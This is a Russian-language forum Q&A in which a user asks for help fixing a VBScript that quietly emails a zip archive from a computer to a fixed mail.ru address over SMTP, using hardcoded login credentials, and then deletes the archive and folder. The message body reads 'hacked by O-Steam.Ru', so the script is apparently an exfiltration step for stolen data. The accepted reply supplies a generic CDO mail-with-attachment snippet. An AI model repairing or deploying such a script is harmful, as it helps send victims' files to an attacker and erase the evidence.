Есть скрипт. Он должен отправлять с компа определённый архив на определённое мыло, после чего архив с компа удалять.

Question

Но на мыло он не отправляет)) ) помогите плиз, исправьте скрипт) ) и скажите что куда пихать надо (свой майл, пароль, логин и т. п. )

Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","alder9494@mail.ru","zza9494@mail.ru","passi_lamera","hacked by O-Steam.Ru")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="zza9494"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="ADGJLsfhk"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
iMsg.AddAttachment "C:\uogava600.zip"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing
FileSystemObject.deletefile "C:\uogava600.zip" ':\uogava600.zip
FSO.DeleteFolder "C:\uogava600"

Anna Anna · Accepted Answer

Попробуйте так 
 
Dim oMyMail 
 
Set oMyMail = CreateObject("CDO.Message") 
 
oMyMail.To = "Administrator@nwtraders.msft" 
 
oMyMail.From = "Administrator@nwtraders.msft" 
 
oMyMail.Subject = "Hello from CDO" 
 
oMyMail.TextBody = "Our letter" 
 
oMyMail.AddAttachment "C:\1.txt" 
 
oMyMail.Send